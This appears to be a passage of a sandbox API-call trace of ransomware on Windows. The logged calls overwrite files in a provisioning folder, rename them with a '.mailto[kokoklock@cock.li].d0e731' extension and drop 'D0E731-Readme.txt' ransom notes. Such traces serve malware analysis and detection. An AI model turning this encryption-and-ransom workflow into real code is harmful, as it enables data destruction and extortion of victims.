hFile=0x354, lpBuffer=0x264bf988*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x264bf970, lpOverlapped=0x0 | out: lpBuffer=0x264bf988*, lpNumberOfBytesWritten=0x264bf970*=0x4, lpOverlapped=0x0) returned 1 [0081.754] WriteFile (in: hFile=0x354, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x264bf970, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x264bf970*=0x4, lpOverlapped=0x0) returned 1 [0081.754] WriteFile (in: hFile=0x354, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x264bf970, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x264bf970*=0x6c, lpOverlapped=0x0) returned 1 [0081.754] WriteFile (in: hFile=0x354, lpBuffer=0x342e720*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x264bf970, lpOverlapped=0x0 | out: lpBuffer=0x342e720*, lpNumberOfBytesWritten=0x264bf970*=0x20, lpOverlapped=0x0) returned 1 [0081.754] WriteFile (in: hFile=0x354, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x264bf970, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x264bf970*=0x4, lpOverlapped=0x0) returned 1 [0081.754] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e720) returned 1 [0081.754] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e770) returned 1 [0081.754] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e798) returned 1 [0081.754] CloseHandle (hObject=0x354) returned 1 [0081.754] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10a) returned 0x33e8f08 [0081.754] wcscpy (in: _Dest=0x33e8f08, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml" [0081.754] wcscat (in: _Dest=0x33e8f08, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" [0081.754] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.755] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0081.755] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e8f08) returned 1 [0081.755] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\customizations.xml", dwFileAttributes=0x20) returned 0 [0081.755] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33f6918 [0081.755] wcscpy (in: _Dest=0x33f6918, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\" [0081.756] wcscat (in: _Dest=0x33f6918, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\D0E731-Readme.txt" [0081.756] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\d0e731-readme.txt")) returned 0xffffffff [0081.756] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0081.758] WriteFile (in: hFile=0x354, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x264bf96c, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x264bf96c*=0x481, lpOverlapped=0x0) returned 1 [0081.759] CloseHandle (hObject=0x354) returned 1 [0081.759] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f6918) returned 1 [0081.759] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34349c8) returned 1 [0081.759] RtlExitUserThread (Status=0x1) Thread: id = 1072 os_tid = 0x17c4 [0081.757] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\masterdatastore.xml")) returned 0x20 [0081.760] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml", dwFileAttributes=0x20) returned 1 [0081.760] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0081.760] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2653f73c | out: lpFileSize=0x2653f73c*=271) returned 1 [0081.760] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x10b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.761] ReadFile (in: hFile=0x354, lpBuffer=0x2653f710, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2653f70c, lpOverlapped=0x0 | out: lpBuffer=0x2653f710*, lpNumberOfBytesRead=0x2653f70c*=0x4, lpOverlapped=0x0) returned 1 [0081.762] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.762] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e6d0 [0081.762] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e770 [0081.762] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e720 [0081.762] NtQuerySystemTime (in: CurrentTime=0x2653f6e8 | out: CurrentTime=0x2653f6e8*=132121176396622403) returned 0x0 [0081.762] RtlRandom (in: Seed=0x2653f6f4 | out: Seed=0x2653f6f4) returned 0x51da0ff1 [0081.762] RtlRandom (in: Seed=0x2653f6f4 | out: Seed=0x2653f6f4) returned 0xd7cb1c68 [0081.762] RtlRandom (in: Seed=0x2653f6f4 | out: Seed=0x2653f6f4) returned 0xf7a3a5f8 [0081.762] RtlRandom (in: Seed=0x2653f6f4 | out: Seed=0x2653f6f4) returned 0x583e6f5d [0081.762] RtlRandom (in: Seed=0x2653f6f4 | out: Seed=0x2653f6f4) returned 0xfcb079f4 [0081.762] RtlRandom (in: Seed=0x2653f6f4 | out: Seed=0x2653f6f4) returned 0x376e45a4 [0081.762] RtlRandom (in: Seed=0x2653f6f4 | out: Seed=0x2653f6f4) returned 0x3b7e8107 [0081.762] RtlRandom (in: Seed=0x2653f6f4 | out: Seed=0x2653f6f4) returned 0x4bbee154 [0081.763] RtlRandom (in: Seed=0x2653f6f4 | out: Seed=0x2653f6f4) returned 0x60d2908 [0081.763] RtlRandom (in: Seed=0x2653f6f4 | out: Seed=0x2653f6f4) returned 0x4127d86b [0081.763] RtlRandom (in: Seed=0x2653f6f4 | out: Seed=0x2653f6f4) returned 0x11245051 [0081.763] RtlRandom (in: Seed=0x2653f6f4 | out: Seed=0x2653f6f4) returned 0x44e2a5e4 [0081.763] RtlRandom (in: Seed=0x2653f6f4 | out: Seed=0x2653f6f4) returned 0x5540dbd [0081.763] RtlRandom (in: Seed=0x2653f6f4 | out: Seed=0x2653f6f4) returned 0xbf9abfcf [0081.763] RtlRandom (in: Seed=0x2653f6f4 | out: Seed=0x2653f6f4) returned 0x1759675a [0081.763] RtlRandom (in: Seed=0x2653f6f4 | out: Seed=0x2653f6f4) returned 0x44ac041a [0081.763] RtlRandom (in: Seed=0x2653f6f4 | out: Seed=0x2653f6f4) returned 0x27dae9f3 [0081.763] RtlRandom (in: Seed=0x2653f6f4 | out: Seed=0x2653f6f4) returned 0x16bbc66e [0081.763] RtlRandom (in: Seed=0x2653f6f4 | out: Seed=0x2653f6f4) returned 0x2114db4d [0081.763] RtlRandom (in: Seed=0x2653f6f4 | out: Seed=0x2653f6f4) returned 0xb5d478b2 [0081.763] RtlRandom (in: Seed=0x2653f6f4 | out: Seed=0x2653f6f4) returned 0x7e13c69b [0081.763] RtlRandom (in: Seed=0x2653f6f4 | out: Seed=0x2653f6f4) returned 0x2e1523a5 [0081.763] RtlRandom (in: Seed=0x2653f6f4 | out: Seed=0x2653f6f4) returned 0xa02c3b3d [0081.763] RtlRandom (in: Seed=0x2653f6f4 | out: Seed=0x2653f6f4) returned 0x67bb77ef [0081.763] RtlRandom (in: Seed=0x2653f6f4 | out: Seed=0x2653f6f4) returned 0x3998b773 [0081.763] RtlRandom (in: Seed=0x2653f6f4 | out: Seed=0x2653f6f4) returned 0xcc196def [0081.763] RtlRandom (in: Seed=0x2653f6f4 | out: Seed=0x2653f6f4) returned 0xaea5d660 [0081.763] RtlRandom (in: Seed=0x2653f6f4 | out: Seed=0x2653f6f4) returned 0x5296e02f [0081.763] RtlRandom (in: Seed=0x2653f6f4 | out: Seed=0x2653f6f4) returned 0xfe6876ca [0081.763] RtlRandom (in: Seed=0x2653f6f4 | out: Seed=0x2653f6f4) returned 0x4295b5de [0081.763] RtlRandom (in: Seed=0x2653f6f4 | out: Seed=0x2653f6f4) returned 0xd6816b2c [0081.763] RtlRandom (in: Seed=0x2653f6f4 | out: Seed=0x2653f6f4) returned 0xb7d98ae4 [0081.774] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0081.774] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e6d0) returned 1 [0081.774] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0081.774] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0081.774] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e6d0 [0081.774] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e6d0) returned 1 [0081.774] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.774] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.774] ReadFile (in: hFile=0x354, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0x2653f6e8, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2653f6e8*=0x10f, lpOverlapped=0x0) returned 1 [0081.774] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2653f6b0 | out: lpNewFilePointer=0x0) returned 1 [0081.774] WriteFile (in: hFile=0x354, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x10f, lpNumberOfBytesWritten=0x2653f6e4, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x2653f6e4*=0x10f, lpOverlapped=0x0) returned 1 [0081.774] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e6d0 [0081.774] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342c948 [0081.774] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342c948) returned 1 [0081.774] WriteFile (in: hFile=0x354, lpBuffer=0x342e6d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2653f6e0, lpOverlapped=0x0 | out: lpBuffer=0x342e6d0*, lpNumberOfBytesWritten=0x2653f6e0*=0x20, lpOverlapped=0x0) returned 1 [0081.775] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e6d0) returned 1 [0081.775] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.775] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.775] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0081.775] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0081.775] WriteFile (in: hFile=0x354, lpBuffer=0x342cc68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2653f70c, lpOverlapped=0x0 | out: lpBuffer=0x342cc68*, lpNumberOfBytesWritten=0x2653f70c*=0x8, lpOverlapped=0x0) returned 1 [0081.775] WriteFile (in: hFile=0x354, lpBuffer=0x2653f724*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2653f70c, lpOverlapped=0x0 | out: lpBuffer=0x2653f724*, lpNumberOfBytesWritten=0x2653f70c*=0x4, lpOverlapped=0x0) returned 1 [0081.775] WriteFile (in: hFile=0x354, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2653f70c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2653f70c*=0x4, lpOverlapped=0x0) returned 1 [0081.775] WriteFile (in: hFile=0x354, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2653f70c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2653f70c*=0x6c, lpOverlapped=0x0) returned 1 [0081.775] WriteFile (in: hFile=0x354, lpBuffer=0x342e770*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2653f70c, lpOverlapped=0x0 | out: lpBuffer=0x342e770*, lpNumberOfBytesWritten=0x2653f70c*=0x20, lpOverlapped=0x0) returned 1 [0081.775] WriteFile (in: hFile=0x354, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2653f70c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2653f70c*=0x4, lpOverlapped=0x0) returned 1 [0081.775] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e770) returned 1 [0081.775] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e798) returned 1 [0081.776] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cc68) returned 1 [0081.776] CloseHandle (hObject=0x354) returned 1 [0081.776] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x10c) returned 0x342a380 [0081.776] wcscpy (in: _Dest=0x342a380, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml" [0081.776] wcscat (in: _Dest=0x342a380, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" [0081.776] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\masterdatastore.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.776] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0081.777] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342a380) returned 1 [0081.777] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml", dwFileAttributes=0x20) returned 0 [0081.777] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc8) returned 0x33f6918 [0081.777] wcscpy (in: _Dest=0x33f6918, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\" [0081.777] wcscat (in: _Dest=0x33f6918, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\D0E731-Readme.txt" [0081.777] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\d0e731-readme.txt")) returned 0x20 [0081.777] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f6918) returned 1 [0081.777] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3476bc8) returned 1 [0081.778] RtlExitUserThread (Status=0x1) Thread: id = 1073 os_tid = 0x17c8 [0081.782] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb0) returned 0x3428080 [0081.782] wcscpy (in: _Dest=0x3428080, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov" [0081.782] wcscat (in: _Dest=0x3428080, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\" [0081.782] wcscat (in: _Dest=0x3428080, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\*" [0081.782] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x34acc88 [0081.782] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\*", lpFindFileData=0x34acc88 | out: lpFindFileData=0x34acc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33df898 [0081.783] wcscmp (_String1=".", _String2=".") returned 0 [0081.783] FindNextFileW (in: hFindFile=0x33df898, lpFindFileData=0x34acc88 | out: lpFindFileData=0x34acc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.783] wcscmp (_String1="..", _String2=".") returned 1 [0081.783] wcscmp (_String1="..", _String2="..") returned 0 [0081.783] FindNextFileW (in: hFindFile=0x33df898, lpFindFileData=0x34acc88 | out: lpFindFileData=0x34acc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0081.783] wcscmp (_String1="RunTime", _String2=".") returned 1 [0081.783] wcscmp (_String1="RunTime", _String2="..") returned 1 [0081.783] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xbc) returned 0x3431cb8 [0081.783] wcscpy (in: _Dest=0x3431cb8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov" [0081.783] wcscat (in: _Dest=0x3431cb8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\" [0081.783] wcscat (in: _Dest=0x3431cb8, _Source="RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime" [0082.961] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3431cb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5ac [0082.961] FindNextFileW (in: hFindFile=0x33df898, lpFindFileData=0x34acc88 | out: lpFindFileData=0x34acc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fc7d5e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fc7d5e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fc7d5e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0082.961] wcscmp (_String1="RunTime.xml", _String2=".") returned 1 [0082.961] wcscmp (_String1="RunTime.xml", _String2="..") returned 1 [0082.961] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x33f6ec8 [0082.961] wcscpy (in: _Dest=0x33f6ec8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov" [0082.961] wcscat (in: _Dest=0x33f6ec8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\" [0082.961] wcscat (in: _Dest=0x33f6ec8, _Source="RunTime.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml" [0082.961] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33f6ec8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x930 [0082.962] FindNextFileW (in: hFindFile=0x33df898, lpFindFileData=0x34acc88 | out: lpFindFileData=0x34acc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fc7d5e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fc7d5e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fc7d5e, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x102, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0082.962] FindClose (in: hFindFile=0x33df898 | out: hFindFile=0x33df898) returned 1 [0082.962] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34acc88) returned 1 [0082.962] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428080) returned 1 [0082.962] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3428cb8) returned 1 